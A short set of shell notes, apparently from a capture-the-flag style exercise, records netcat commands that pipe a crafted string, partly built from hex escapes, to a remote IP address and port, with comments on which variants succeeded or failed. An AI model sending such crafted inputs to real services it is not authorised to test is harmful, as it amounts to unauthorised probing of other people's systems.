# success:
echo abcdaaun | nc 111.200.241.244 54817

# failed why?
# echo abcd$(printf "\x61\x61\x75\x6e") | nc 111.200.241.244 54817

# success:
# echo abcd$(echo "\x61\x61\x75\x6e") | nc 111.200.241.244 54817
